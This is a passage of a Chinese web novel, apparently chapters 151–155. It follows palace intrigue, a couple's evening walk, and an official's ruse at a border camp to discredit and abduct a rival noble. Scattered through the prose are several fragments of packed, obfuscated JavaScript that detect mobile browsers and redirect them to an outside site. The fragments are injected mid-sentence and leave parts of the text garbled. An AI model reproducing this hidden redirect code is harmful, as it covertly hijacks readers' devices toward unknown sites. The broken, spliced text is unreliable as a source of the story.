“她存心的,你没看出来?闹了一场,发现见不到梁妃,便把这盒子拿出来,如果我没猜错,这盒子肯定承载了什么,她让我转给梁妃,你说说看,这是打得什么主意?” “睹物怀旧?抚今追昔?” 木雅点了点头。 “那不交上去了?”秋月又问。 “交,我应了她,怎能食言,只不过……等她离开王庭后再上交梁妃。” …… 阿星在宫奴的引带下办着出宫手续,一个女官正检查她的包袱,另一个女官核准身份以及入宫年限。 “拿好了,出宫牒。” 女官见那宫婢像没听见似的,心不在焉的样子,不住地回头往内侍司门口看,只要一有人进来,她就回头望一眼,好似在盼着什么人出现。 “看什么,还不拿了宫牒走人?”女官催促道。 阿星不语,慢慢将摊开的包袱拢起,只是那动作格外的慢。 女官冷声道:“你延挨什么?咱们不做别的了,今儿就办你这一样事?”说着又推出一个匣子,“哒——”的打开,“这是上面交代的,拿去,够你花一辈子。” 只见木匣内装着十锭白银。 阿星见了,两眼一红,最后没忍住,捂脸大哭起来。 宫奴们赶紧把她的东西草草一收,推着她往外走,一直走出王庭。 这个时候的阿星想起以前同江念出王庭,乘着清晨的薄雾,鼻息下是树木山石微潮的青润,欢欢闹闹地往山下走,再回头,看着巍峨的殿宇…… …… “离开了?”木雅问道。 宫奴回来答话:“走了,我们看着她出的王庭。” “行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477511|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,你去罢。” 宫奴应了一声,转身离开。 木雅躬身在江念身边,双手执着一个小木托,木托上是一个圆形脂粉盒:“她走之前让婢子把这个转交给您。” 江念看了一眼,将盒子拿起,发了一会怔,说道:“行了,你们下去罢。” 木雅和秋月同时懈了一口气,就怕江念见了旧物,忆起往昔,再让人把阿星追回来。 其实她们多虑了,别说阿星已出了王庭,就是人还在王庭内,江念也不可能留下她。 她是念及旧情,可人的心一旦凉了,就很难再被渥热,大多数人皆是如此,江念更甚,看起来好说话,其实内里有一股子绝绝的劲儿。 …… 呼延吉回西殿时,已是傍晚时分,进寝屋更衣,换了一身常服,膳房开始摆上菜馔。 用过晚饭后,呼延吉同江念没再出殿院,只在殿后的湖园漫步消食。 西殿后有一池不大不小的清湖,水很清澈,凉津津的,是山上蜿蜒下的清泉汇聚而成,湖面架了石墩,可让人通行,穿过石墩,是一片山埠,山体不高,凿有石阶通往山顶。 “要不要去后山转一转?”呼延吉问道。 江念看了一眼天色,远远的天际已铺陈红霞:“一会儿天就暗了,看不清路。” “山上有凉亭,这山又不野,阶梯铺得整整齐齐的,好走,不必担心,再说,有我在,你怕什么呢。”呼延吉说道。 平日里,江念总是在殿后的清湖转一转,因湖水清澈见底,翠绿琉璃一般,可见湖中游鱼,她很喜欢在那一爿闲步。 不过西殿后山她还没去过,虽说后山早已被亲卫清过场,还有栅栏圈围,不会有什么隐患。 现下呼延吉想去后山,她也就应下了:“把闪电带上罢。” 就这么的,江念提灯,呼延吉牵着金豹,两人也没让宫侍跟着,一齐绕到殿后,走到湖池边,谁知那豹儿怎么都不肯踏上石墩,最后还是呼延吉拧着它的后颈,穿过石墩。 “它在你手上倒乖。”江念跟在后面笑道。 呼延吉在前一手提着金豹,又侧过身注意了一眼身后之人:“这家伙长得快,再大一些,我可拎不住。” 它在他手上乖是因为有一次它对他龇牙,他趁江念不在时照着它的肚子踹了一脚,自那之后,小畜生见着他就有些怕。 待过了清湖,呼延吉将闪电放下,让江念走在他的前面,两人一前一后往山上行去。 这会儿天还没有完全暗下来,不过山间凉飕飕的,空气里杂糅着微微冷冽的青叶子香,偶尔传来野鸟一两声鸣啾。 走了一会儿,半山腰的平坦处坐落着一个山亭。 “歇一下罢,我有些走不动了。”江念说道。 呼延吉点头。 二人进入山亭,江念倚栏坐下,呼延吉解了金豹项间的绳索,那金豹也不跑开,只是走到江念脚边趴伏下。 “这畜生平日不亲人,今日怎么回事?”呼延吉坐到她身边,看了一眼趴伏的闪电。 江念知道他问的是闪电为何亲近琴奴,一说起这个,她便来了兴致,说道:“大王猜猜看……” 第152章 喜欢你身上的味道 呼延吉低首,用脚尖挑了挑金豹的下颌,说道:“它喜欢你身上的味道。” 江念知道瞒不过他,她借着给琴奴拂衣理辫的时候,往琴奴身上抹了她惯用的香粉和香膏子,然而仅仅这些还不够。 “还有呢?” 呼延吉笑着摇了摇头:“阿姐说,我听着。” “我在香料里添了缬草,猫儿类的大小兽喜欢这个。” 呼延吉低头听着,两眼看着脚边的金豹,翘头靴有一下无一下地刮擦着它的下颌,金豹很是享受地眯起眼。 江念见他似有心事,问道:“怎么了?” 呼延吉懒懒地伸了个腰,一个翻身,坐到栏杆上,两手撑在身侧,背对着凉亭,往山下看去,山下已点上明明灭灭的灯火。 “坐到我身边来。”呼延吉朝江念伸出手。 她将手递过去,他的手心是干燥温热的,他握住她的手,牵引着她慢慢坐下。 江念往下看了一眼,垂摆的脚下是空的,山体很陡峭,天再暗一些,就什么都看不清了,只是黑黢黢一片,像一张大口,毫无感情地等你掉下去。 她的手紧紧攥住他的手不松开。 “你别往下看,越看越怕,看远一些。”呼延吉抽出手。 江念没了依撑,心里慌乱,身子也跟前不稳起来,呼延吉拢上她的腰,语中带了笑意:“莫慌,莫慌。” 江念将手搭在他的小臂上:“你别松开。” 男人“嗯”了一声,说道:“抬头看看。” 江念心神稍定,慢慢抬起头,一眼便怔在那里,只见山脚下,不,不止山脚下,接连山麓的一片蔓延下去,星火霎动,与穹窿之上的星河映照着,天上人间。 “好美——”一声呼叹,这会儿她忘记了怕。 目及处,不仅仅是王庭,还有王庭下的街坊,越到夜间越热闹。 她笑着看向他,迎着微光,是呼延吉英挺的侧颜,一时间有些痴怔,禁不住抚上他的脸,他也就转过脸回看向她,低下头,在她的眼角落下一吻。 在呼延吉吻向江念之时,伏于地面的金豹咕噜一声,跳上亭凳,后肢坐下,前肢立起,伴在二人身侧。 “那丫头你准备怎么处置?”呼延吉问道。 江念知道他说的是阿星。 “叫她离开王庭了。” 呼延吉默然了一会儿,说道:“还记得我从前说你护短的毛病。” 江念勾着唇,并不言语,知道呼延吉的意思,认为放归阿星这个处罚太轻。 呼延吉说归这样说,可他也知道,正是因为江念有这样一颗心,儿时的他才得到她的照拂。 “吉儿……”江念唤了一声。 呼延吉“嗯”了一声,给了回应。 “如果,我是说如果,东境有失……大王还请早定姻盟,立下大妃……” 一语毕,两人皆是默然,这份沉沉的安静在此刻延长下去。 兀的,呼延吉轻笑出声:“阿姐怎的这般不信自己,我觉着你那离间计甚好,不会有失,你若不信自己,那么就信我罢,若是连我也不信,总该信崔致远,你看他之前过成那样,哪次不是被人打得半死,最后呢,还不是活得好好的,一颗心仍热忱着。” 江念噗嗤一笑,一想到崔致远那张黑瘦的脸,有些心酸又有些好笑,说道:“嗯,信他一次。” 崔致远,这次就看你的了…… …… 东境军营…… 长形的实木桌摆着沙盘,桌边围着几名副将,桌头站立的达鲁正同几名副将议事。 “大将军,梁军屯营于星月湖西南,我方当务之急应将舟楫陈于湖畔,昼夜戒备,谨防梁军掩袭。” 说话之人稍稍年长,正是那名叫老鬼的副将。 达鲁并未给出回应,这时另一个声音插了进来。 “陈舟楫于湖畔,梁军就不渡湖了?” 众人看去,不是别人,正是朵家那位郎君,朵阿赤。 老鬼肃声问道:“依郎君的意思该当如何?” 朵阿赤立于长方形桌案的另一头,同达鲁对立,好似他是营中另一长官。 朵阿赤至今未收到他父亲的书信,有关王庭是否册立朵家女为妃,使得他摇摆不定该让达鲁如何应对梁军。每日耗在营帐中,踏着稀泥,踩着蒙茸的乱草,每每回宅院,靴底就是**毵毵的草屑和泥。 去一趟营地,他就得废一双长靴。 他的摇摆不定让达鲁进退维谷,而达鲁手下的将领们却不知二人早已暗通款曲,他们还在为对敌献计策。 朵阿赤见老鬼问他,扬了扬下巴,说道:“依我看,不必备舟楫于湖畔,直接守住佩城即可。” “这怎么行!只守不攻,岂不是单方面挨打?!眼睁睁让梁军渡湖?”另一个方脸阔额的副将说道。 朵阿赤轻嗤一声:“谁告诉你单方面挨打,你们将城门守好,不也一样御敌?若是挨打,那说明尔等不堪大用,守城失职。” 众人听罢,气得恨不能将此人薅起来,捶打一顿,纸上谈兵的文人也比他强。 “将军大人,您如何定夺,我们听您的。” 只要是达鲁下的钧令,威重令行,帐下众将无敢不从。 达鲁微沉双目,看了一眼桌上的沙盘,继而将眼转向另一侧,笑道:“崔监军认为该当如何?” 众人看去,就见帐门处坐着一人,那人侧着头,不看帐内,反而看向帐外,有些发怔,不知道的还以为是守帐的门兵,听见问话,才回头看向帐内。 “将军刚才说什么?”崔致远问道。 朵阿赤心底冷笑连连,呼延吉就指派这么个蠢材来。 达鲁将刚才的话又问了一遍:“崔监军认为该当如何?” 达鲁并不指望这位监军给出建议,他不过是象征性地问一问,毕竟崔致远背靠王庭,是大王亲自指派的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482974|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而且刚才他们谈话的时候,他一直呆坐于帐下,发怔发痴,心神不知游到了何处。 最开始,达鲁以为这位监军到了军营少不得一番指手画脚,然而却没有,每日,他只搬个小杌子,坐在主帐门前,一副超然世外的态度,对军事要务全然不关心。 他若征询他的意见,他便笑一笑,说他是大将,让他自己决定。 所以这次,他也只是问一问,没指望他作答。 不承想,那位崔监军站起身,看向帐中众人,微笑道:“可否请众位将军移步至帐前。” 达鲁不知他要做什么,绕过桌案,走到帐首,其他人也跟着走了过去。 崔致远指向不远处操练的兵,说道:“将军,你看那些兵卒,你说他们在想什么?” 达鲁双手环臂,分腿而立,想起自己作为兵卒时也如这些兵卒一样,日复一日地操练,随时备战迎敌。 那个时候的他在想什么呢? 副将中不知是谁,说道:“还能想什么,想偷懒、想酒肉、想女人……” 众人先后粗笑出声,包括达鲁在内,亦是眼角带笑,唯独崔致远没笑。 这时又一人插话道:“小卒子们都在想着怎么升官哩!” 这话引得其他人纷纷点头。 此时一道更为年轻的声音喊了一声:“当兵的,肯定想着怎么决胜沙场了。” 崔致远转头看去,他对这人有印象,好像叫鱼九,赞了一声:“小将军这话叫人听着舒服。” 鱼九得了夸赞,有些不好意思地挠了挠头。 “所以崔监军是想说,这些兵卒在想着如何取胜?”达鲁问道。 崔致远笑了笑:“非也,他们在想对敌时如何活命。”说罢转头看向达鲁,“将军大人莫要忘了来时之路。” 一语毕,崔致远往后退出几步,双手合于胸前,恭恭敬敬向达鲁躬身,说道:“战事在所难免,只望将军大人莫要辜负众将士的性命之托,生死攸关,一令安三军,片语定乾坤,不可儿戏!” 达鲁怔愣当场,心里喃喃念着,一令安三军,片语定乾坤,生死攸关,不可儿戏!不可儿戏!不可儿戏…… 众将皆被此话震在当场,又激得热血沸腾。 直到一声冷哼,打破这份腾腾的冲天战意,众人看去,却是那位朵家郎君甩袖离去。 晚间,崔致远等人回了将军后宅。 窗纱卷月色,树影低映。 崔致远坐于灯下,用簪子挑了挑灯芯,昏黄的光映着那张黑瘦的脸,听见有脚步声从门前响过去,知道达鲁回了。 于是走回桌前,吹熄了灯烛,推门而出,“啪——”的一声,把门带得震山响,生怕人听不见似的,然后趋身下阶往达鲁院中走去。 达鲁听见门响,前去开门。 “崔监军?” 崔致远笑了笑,说道:“达鲁将军,深夜叨扰,可否容下官进屋一叙……” 第153章 朋友妻不可“妻” 达鲁将崔致远让进屋,以为崔致远找他议事,又叫婢女进屋沏茶,不承想,他却净问些无关紧要之事,譬如,他是哪里人,哪年进入军营,再就是谈些生活细碎之事,聊一聊佩城的风物。 他也不好说什么,好在这位崔监军言谈幽默,不惹人厌,正说着,门被敲响,门外响起女子的声音。 “达鲁,是我,阿枝,给你送些宵夜来。” 达鲁前去开门。 阿枝双手端着木托子,托子上是一个大陶钵,别有小餐碗,见着达鲁先是笑了笑,再从男人的身侧往里看去,知其房里有人,且看清了那人的面貌。 “里面是崔监军么?” 崔致远忙走来,热络地笑道:“阿枝啊,你给达鲁将军送吃食?可有我的份?” 阿枝亦笑道:“听见崔监军的声音了,所以特地给你备了一份。” 达鲁笑着摇了摇头,侧身让她进屋。 阿枝走到桌边,将木托子搁放于桌案,揭开钵盖,立马蒸腾出馋人的香气。 “我熬了一些碧米粥,晚上不好烧煮太油腻的东西。”女人说着舀了两碗,摆到达鲁和崔致远面前。 只见瓷白荷叶形的小碗里,微绿的米稠,像是水洗过的玉色,很有卖相,再加上米粒的清香,勾馋得人口舌生津。 崔致远看了一眼女子,又不着痕迹地看了一眼对面的达鲁。 来此这么些日子,他同军中的几位副将混熟,不时会凑在一处吃酒,那日,众人喝得有些多了,各自攀扯说道,而他从鱼九嘴里得知了阿枝的身份。 那时的达鲁还不是大将,只是一低阶小将,有一生死之交,叫康居,两人一路扶持,从小兵卒升到校尉。 康居同达鲁交好,像他们这种驻军的低阶军士,身边可携家眷。 康居将妻子接来,那时候的达鲁却是孤家寡人一个,所以康居常让妻子置一桌像样的酒菜,邀达鲁去他家中吃酒。 康居的妻子便是阿枝。 先时达鲁怕去多了搅扰人家,结果康居的妻子性情大方,不把他当外人,渐渐的,也相处熟了。 然而,世事难料,在一次同梁军对战时,康居战死。 康居死后,阿枝闭在屋里三个日夜,达鲁守在门外三个日夜,三日后,阿枝从屋里走出,同之前看不出两样。 为兵为将者,古来征战几人回。 从那之后,达鲁担起照顾阿枝之责,真的就只是照顾。 一路跟随达鲁走来的将领知晓,日久之下,阿枝对达鲁早已生情,她喜欢他,这份喜欢大方且不遮掩,可是达鲁没有给予回应,却一直守在阿枝身边,给她安身之所。 其实达鲁并不欠康居什么,所以就算他娶阿枝也无可非议,不知是朋友妻不可“妻”,还是他对阿枝无男女之情,一直将她当作妹子,总之这么些年,二人就是这个样子。 妾有情,郎无意。 这是崔致远同几名副将厮混熟后,听来的只言片语,再一拼凑,事情首尾也就知晓大概。 崔致远言语幽默,同达鲁的严肃刻板不同,有他在场逗趣,屋子里的气氛活泼又轻松,达鲁和阿枝之间的横隔在欢笑中好像消融了。 房门没掩,笑声随着黄澄澄的烛光泼洒而出…… 用过宵夜后,阿枝收回碗盘,先离去,崔致远同达鲁又闲说几句,也离开。 出了屋,下了阶,行了几步,只过一道拱门,便是他的住所,崔致远眼梢瞟向对面,光还亮着,嘴角勾出一抹轻笑,借着月色,不高不低地叹了一声:“嗳——同达鲁将军夜谈,获益匪浅呐!” 随后进了屋。 外面的动静清清楚楚地传进朵阿赤的耳中。 他早就看出来达鲁的异样,军帐中自崔致远说出那番话后,他的神情就有异样,夜间两人又秉烛夜谈,只怕达鲁生了易主之心。 之后接连几日,崔致远都会去达鲁房中坐一坐,有他在,阿枝便会多备一份宵夜,再借着这个便当,在达鲁房里坐着谈笑,三人倒是相谈甚欢。 可另一边则不同,朵阿赤把一切看在眼里,心里越是起疑,就看达鲁不顺眼,哪怕一个再平常的举措,也会在朵阿赤心里生出别样的心思。 疑心一旦起,很难再抹除,甚至会带上偏见。 再加上,朵阿赤迟迟得不到他父亲的书信,心中无定数,在军中一会儿左一会儿右,总之一句话,就是偏同众人唱反调,私下里,众将早已怨声载道。 你要进攻时,他叫你守城,你待要守城,他又嚷着叫你进攻,排兵混乱,完全乱了套。 因着他的干扰,致使同梁军的首战,差点没守住星月湖,也正因军阵排布无章,导致梁军攻占了临近佩城的另一个城池,砂城。 这比失守星月湖更加麻烦,梁军本是远涉千里,行军劳乏,粮草转运困难,如今有了据点,此仗……不好打了。 达鲁还未如此窝囊过,是撤是战,一句话,他也好应对,偏偏这么瞎搅和,他就是脾气再好,也烦了。 若朵阿赤不是朵家人,他一定拿他祭旗! 朵阿赤惹了众怒,也不再往营中去了,只在将军后宅待着,给他父亲写了一封信,将东境之况表述于纸上,又述达鲁恐有异心,最后以泥封缄。 殊不知,他的行止已被另一人看在眼里。 房门被敲响,朵阿赤前去开门,门前站的不是别人,正是崔致远。 “崔监军这么个大忙人怎么不去军营,也回将军府了?”朵阿赤说道。 崔致远假作无意地将目光错过朵阿赤的身子,看了屋里一眼,笑道:“小朵大人不准备邀我进去坐坐?” 朵阿赤冷笑一声,挡在门前,身子动也未动。 崔致远也不恼,他二人,一个市井小民,一个高门公子,无论言行还是气度,截然相反,行事准则自然也是不同。 “小朵大人难道就不想知道来之前,大王交代过我什么?就不想知道大王如何评你朵家?” “你有这么好心?” “什么好心不好心,不过是王令不得违抗,没有法子,面上总得做做样子,好向王庭交差,学生也不想得罪朵家,毕竟在夷越安享荣华,还得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你们想做什么?我的护卫就在院外……”朵阿赤刚想发声,人就被敲晕。 崔致远低声道:“塞到箱子里。” 几名“奴仆”动作十分利索,将人塞入事先备好的红木大箱,然后一言不发地等待接下来的指示。 崔致远看了一眼桌案,沉吟了一会儿,走到桌案后,折了一张空白信笺,放入封套内,再在外面封盖泥印。 又踅过步子,走到桌边,将桌上一个小酒坛的塞盖拔开,一手提溜起酒坛,拿到鼻下嗅了嗅,仰头猛灌了几口,又在衣襟上洒了些酒渍,房间里立时酒香四溢。 “等我将两个护卫引离,你们速速把箱子抬出府。” 只要将朵阿赤的人支开,其他的就好办。 “是。”几人应下。 崔致远走出屋室,行到院门处,看向朵阿赤的两名护卫,拿出两封书信,将写字的那封递给一人,醉醺醺地说道:“你家郎君让……让你将书信送往驿站,寄往京都,速去!不得耽误。” 那护卫看了一眼封套上的字迹,确实是他家郎君的字迹,且是寄往京都老大人收,一刻不敢耽搁,转身快步往府外行去。 崔致远咂摸了一下嘴,又将另一封空白书信拿出:“这一封亦是你家郎君交代,送往军营,交……交予达鲁将军。” 那护卫接过书信,疑惑道:“我家郎君怎的不亲自交于我们?” 第154章 难伺候 崔致远把眼一眯,睨着那名护卫,语含讥讽道:“小朵大人亲自书写信,怎的?还要他亲自送到你手上,是不是还要他亲自跑一趟驿站?” 那护卫赶忙低头称不敢。 “呃——”,崔致远打了个酒嗝,两颊醉红,说道:“我同你家大人喝了些酒,他喝多了,不想起身,我给你不也一样?罢了,罢了,你不要,我再拿回,叫你们大人亲自给你。” 说着就要从护卫手里拿回书信,那护卫连称不敢,转身离开。 待人走后,崔致远走回门首,摆了摆下巴,几人抬着红木箱从屋里出来,神鬼不知地出了将军府。 …… 达鲁正在帐中同几名副将议事,手下来报,将军府有书信送来。 “让人进来。”达鲁吩咐道。 兵士得令,将朵阿赤的护卫引进,护卫递上书信。 达鲁接过,当着众副将的面拆开书信,空白的?这是何意? 这么些天相处下来,达鲁深谙一个道理,只要事关这位小朵大人,那么再小的事也是大事。 当下收起空白书信,带了几名手下打马回了将军府。 谁知一进院中,没见到朵阿赤,反倒在他房里见到崔致远,他正埋首于桌案上。 “崔监军?” “崔监军?” 达鲁上前叫了几声。 崔致远迷蒙着抬起头,醉眼婆娑,见是达鲁,搓了搓脸,说道:“达鲁将军这是?” 达鲁在屋子里扫了一眼,问道:“监军怎么在这屋里,小朵大人呢?” 崔致远给自己倒了一杯茶,灌入嘴里,醒了醒酒意,这才说道:“适才同他把酒闲聊,将军知道我这人,嘴巴闲不住,非得扯个人同我说说话。”说着,往周围看了一眼,“先还在我对面坐着,是不是小解去了?” 达鲁给手下施了个眼色,那手下出去了,过了一会儿回来,摇了摇头:“没见到人。” 崔致远还在那里摇头拨脑地说:“真是想不到,小朵大人海量,把我灌得晕晕乎乎,他还两目清明,之前倒没看出来,这人……深藏不露。” 达鲁在崔致远脸上望了两眼,问道:“崔监军同朵家郎君说什么,居然喝了这些酒。” “能是什么,左不过闲话家常。” 达鲁不疑有他,这位监军之前同他夜谈,舌灿莲花,一趟话说下来,没一句重点,尽是些无关紧要之言,一张嘴像是借来的,着急还似的。 突然,崔致远一拍额头,“呀!”了一声,众人俱看向他,不知他要说什么。 崔致远撑着桌面站起身,看了达鲁一眼,又快速收回目光,嘴唇嗫嚅,要说不说的样子。 “崔监军想说什么,但说无妨。”达鲁说道。 崔致远看了一眼达鲁身后的几名副将,仍是有些犹豫。 “监军,你说,怕甚,咱们都是将军的手下,是自己人。”鱼九说道。 其他几人纷纷附和。 崔致远叹了一声,说道:“我也是醉得不轻,隐隐见到小朵大人拿了两封信,交给他的护卫,还说什么……莫让人知晓,又说什么他行速慢,怕误了书信……送去驿站,寄往京都朵家,不可耽误,百里加急,还说……” “还说了什么?”达鲁问道。 崔致远揉了揉额穴,很是费力地想着:“好似是说,另一封信笺……” “另一封信笺如何?” 这另一封信笺正是达鲁收到的空白书信。 “实在记不起了。”崔致远佯装道,其实另一封信的作用就是借朵阿赤的名义把达鲁唤回将军府,这才有机会上演刚才那一幕。 他说得那些零碎言语够让几位武将遐想了。 达鲁听了崔致远的话,给身边的老鬼睇了一个眼色,老鬼会意,转身离开,一出将军府大门,飞马去了驿站,拦下送往京都的书信。 崔致远看了眼达鲁的面色,迟疑问道:“小朵大人难不成……” 话只说一半,后面自有人续上。 鱼九年轻气盛,扬声道:“这位朵家郎君什么意思,不告而别,还送什么书信,且是送往京都的,几个意思,这是打算告状?咱们好吃好喝招待他,结果他背地里反咬一口,不告而别,怕我们不放他走还是怎的?!依我看,那信里定没甚好话。” “你们先下去。”达鲁说道。 几名副将暂先退下,知道将军有话同监军说,于是将房门掩上。 达鲁现下心里还不确定,情况是否如他所想的那样,朵阿赤将书信加急送往京都,他自己随后离开,这也就意味着,朵家弃了他,他不能再投靠朵家。 私心讲,达鲁对朵阿赤的到来很是不满,朵阿赤应也感觉到了,平时副将们对朵阿赤的厌烦抵触,他也只作旁观,任它蔓延,没在中间调和。 他让老鬼去驿站拦阻书信,可人他拦截不了,朵阿赤悄然离开,连护卫都不带,待他回到京都,定会将他在东境所见变本加厉地诉于朵尔罕。 如此一来,他同朵家算是彻底闹掰,那么需另觅靠山了。 达鲁看向崔致远,说道:“崔监军,你来东境,大王可有特意交代之处?” 崔致远脸上绽露笑容,说道:“大王别的话没交代,军中事务一切听由大将军安排,唯有一件事……” “何事?” 崔致远正色道:“大王说,战!务在必胜!” 达鲁一手叩胸,向崔致远行上军礼:“恳请崔监军代我奏报大王,此战我军胜局已定,旦夕可传捷音!” 崔致远朗声大笑道:“静候将军凯旋。” 是夜,达鲁看着手里的书信,正是朵阿赤加急送往京都的那封,信中自然没什么好话,说他有了易主之势。 男人将信放于烛火上,火舌很快将信笺舔舐成灰。 彼边,那几名“奴仆”到崔致远跟前复命。 “监军,何不趁此机会,将那人给了结了。”一人说道。 崔致远摆了摆说:“不可,再怎么样朵阿赤也是朵尔罕的长子,他若**,只怕老头子会来个鱼死网破,没必要激化到这一步。” “是。” “那两名护卫处理了?” 几人点头:“处理了,无人知晓。” 崔致远点头道:“先把人关一段时间,时候差不多就放了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488761|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奴仆”应诺。 之后,达鲁回了军营,战事仍在继续,梁军攻占了砂城,对战虽有些棘手,不过夷越军将作战神勇,梁军已呈现败势。 料想不久便可退敌。 …… 从前在江家时,天气稍稍热起,江念便会午歇,虽说睡一觉也不见得就能多有精神,且午间睡不好,反倒头脑昏沉,可她抵不住困意。 如今到了夷越,一年里头大部分时间是热的,冷的时候少。 她这午睡的习惯就带了来,每每用**,困意熟门熟路地来了,消消食,然后回寝殿的榻上躺一回,这个时候,呼延吉多半在前廷的议政殿里理事。 宫婢们安静地守在寝屋外的过道处。 寝屋内更是静谧,可再安静,她也睡不了多长时间,午歇是最难伺候,不睡不行,睡了罢,时间睡长了人难受,时间睡短了人也难受。 找不到一个合适的方法同它共洽。 江念睡得迷糊,似醒非醒中,感到腮上异样,拿手挥了挥,再慢慢睁开眼,眼前昏暗暗的,就见一个糊糊的影坐在床沿,她将眼闭了闭,再睁开,这才看清。 原是呼延吉侧坐于床沿,手里拿着那把孔雀羽扇,抚弄她的脸,他怎么这个时候回了?不该在前廷么,心里这么想着,便问了出来,只是问出来的话透着未醒完全的痴怔。 “回来干什么?” 听起来像女子对情郎的娇嗔。 呼延吉低声笑了笑:“回来看你,不能回么?” 江念眨了眨眼,侧过身,抓住他的手将脸偎了过去,依着他的胳膊,嗅着他衣袖上好闻的气息,又闭上了眼。 若是平时,呼延吉也就让她睡了,随她睡多久,只要他手上无事,便陪着,可是这会儿却不能叫她睡。 “别睡了,我有要紧事同你说。” 江念惺忪地睁开眼,咕哝道:“大王说来。” “你先起身,把衣裳穿好,到露台来。”呼延吉说着,立起身,往寝殿外走去。 江念两腿夹着被子在榻上左翻一圈,右翻一圈,最后趴伏着,挨蹭了一会儿,唤秋月进来伺候她更衣,简单理装一番,出了寝屋,步到露台。 内殿同外殿相接处,便是无顶露台,露台靠左的一片,有一处微微凹陷的池子,池底有一泉眼,池下凿有暗渠,是以,这清冽的泉水永远干涸不了,也永远积满不出,昼夜不停地汩汩流动着。 露台周边又栽种着各类花植,绿盈盈的很有生气,中间铺着光洁的砖石。 呼延吉坐在台矶上,身侧是一方檀木台,台上摆着几碟果盘,还有一个碧色的琉璃壶,壶身附着水汽,里面是淡紫色的果饮。 台矶下铺着一整张虎皮。 江念午睡后喜坐在露台的遮荫处打发时间,但地砖寒凉,又有泉水的缘故,湿气重,呼延吉用虎皮制成毯,铺于地面,方便她坐卧,本该有两张的。 江念走了过去,跪坐于虎皮之上,从檀木台上的果盘拣了一粒葡萄,送往嘴里。 “大王有什么话,非得把妾身叫起来才说?” 呼延吉笑着从衣襟取出一物,递了过去…… 第155章 一振夫纲 呼延吉坐在高她一阶的台矶上,一条腿屈起,一条腿打直,咧嘴一笑,露出一口白牙,从怀里掏出一物,递到江念面前。 “喏,拿去。” 书信里的内容让他很满意,崔致远果然没辜负他的期望。 江念接过书信,取出信笺,展开,从头到尾把信中的内容看了一遍,嘴角越翘越高,心中欢喜,眼睛仍盯着信纸,头也不抬地问道:“梁军节节败退,是不是此次危情解除了?” 呼延吉笑着点头:“如无意外,战事不久可定,不仅如此,还收获一员大将。”呼延吉说罢,看向江念,微笑道,“阿姐实为我之吉曜,今番建此殊勋,有阿姐一份功劳,往后但有疑难,还须指点迷津。” 江念经不住他这样夸赞,却也很受用,那股好为人师的劲头又开始腾腾往上蹿,一双眼弯成了新月,将书信重新装好,原样递给呼延吉。 呼延吉一面收回书信,一面问道:“上次你说我夷越弊政甚多,现在可否同我说说?” 江念眼珠一滴溜,笑模笑样地说:“大王想听?” 呼延吉见她转盼间一股柔媚姣俏的别样风情,不知她又起了什么不饶人的主意,这让他想到十五六岁时的她,也是这般得意的姿性。 “当然想听,你快说来。”呼延吉说道。 江念略作正经地拢拢袖,执起琉璃壶,给自己和他各倒了一杯果子饮。 然后擒杯喝了小半盏,酸甜的凉意从唇齿间慢慢滑入喉,混沌的脑子这会儿全然清醒。 呼延吉也跟着喝了一盏,有些急切地望着她,等她的回答,他是真想听一听她的建议。 他自认为有手段,心也够狠,哪怕上阵杀敌他也不惧什么,兵法精熟,可在对付那些上姓、世家之时,总被他们搅缠得没有耐心。 偏那些老狐狸一个赛一个精明。 就像你无论使多大的气力出拳,总打不到他们的痛处,那威力便折了又折,最后呢,自己精疲力竭不说,伤不到对方的根本要害,过不了多久,又恢复了。 上次他为东境之事在议政殿愁烦一日,结果她给他送宵夜,不过短短几句,就轻轻松松地解了他心头的郁结。 这出其不意的惊喜,让他悟得,江念像一把弓,拉紧弓弦可射出利箭,你不知她的脑子里装了些什么,需驱策方灵光乍现,总不会叫你失望。 江念笑道:“想让我说也容易,不若大王拜我为师,如何?再交上一份束脩,我再传授知识与你。” 拜师? 呼延吉怔了怔,见她跪坐于虎皮之上,看起来斯斯文文一个,同身下野气蓬蓬的皮**形成鲜明对比,越发显得她玲珑丰秀。 虽说知道她在玩笑,不过脑子里转瞬迸出一个念头,她的年岁已经压他一头,儿时又一副长姐做派,他在她面前总得低着那么点,倘若再拜师,日后还怎么一振夫纲。 直到现在他还愁那点子床笫之事,如何才能尽兴一些,偏那人儿不知是灌了老夫子汤还是怎的,平日在他面前言语常笑,嗔视有情,一到床帏间,她又一副正经做派,好不急人。 哪儿兴这样磨人的。 是以,当江念提及拜师,他的脑子里已滚过一轱辘的春念。 